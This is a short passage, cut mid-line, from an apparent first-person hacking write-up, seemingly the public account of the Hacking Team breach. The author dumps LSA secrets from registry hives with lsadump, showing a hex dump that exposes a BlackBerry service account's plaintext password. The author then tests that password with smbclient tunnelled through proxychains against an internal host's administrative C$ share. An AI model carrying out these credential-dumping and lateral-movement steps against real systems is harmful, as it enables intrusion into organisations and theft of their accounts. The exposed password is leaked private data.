lsadump [1] on the registry hives. lsadump found the passwo
service account:

```
_SC_BlackBerry MDS Connection Service
0000  16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .
0010  62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00  b
0020  21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00  !
```

I used proxychains [2] with the socks server on the embedde
smbclient [3] to check the password:

```
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam
```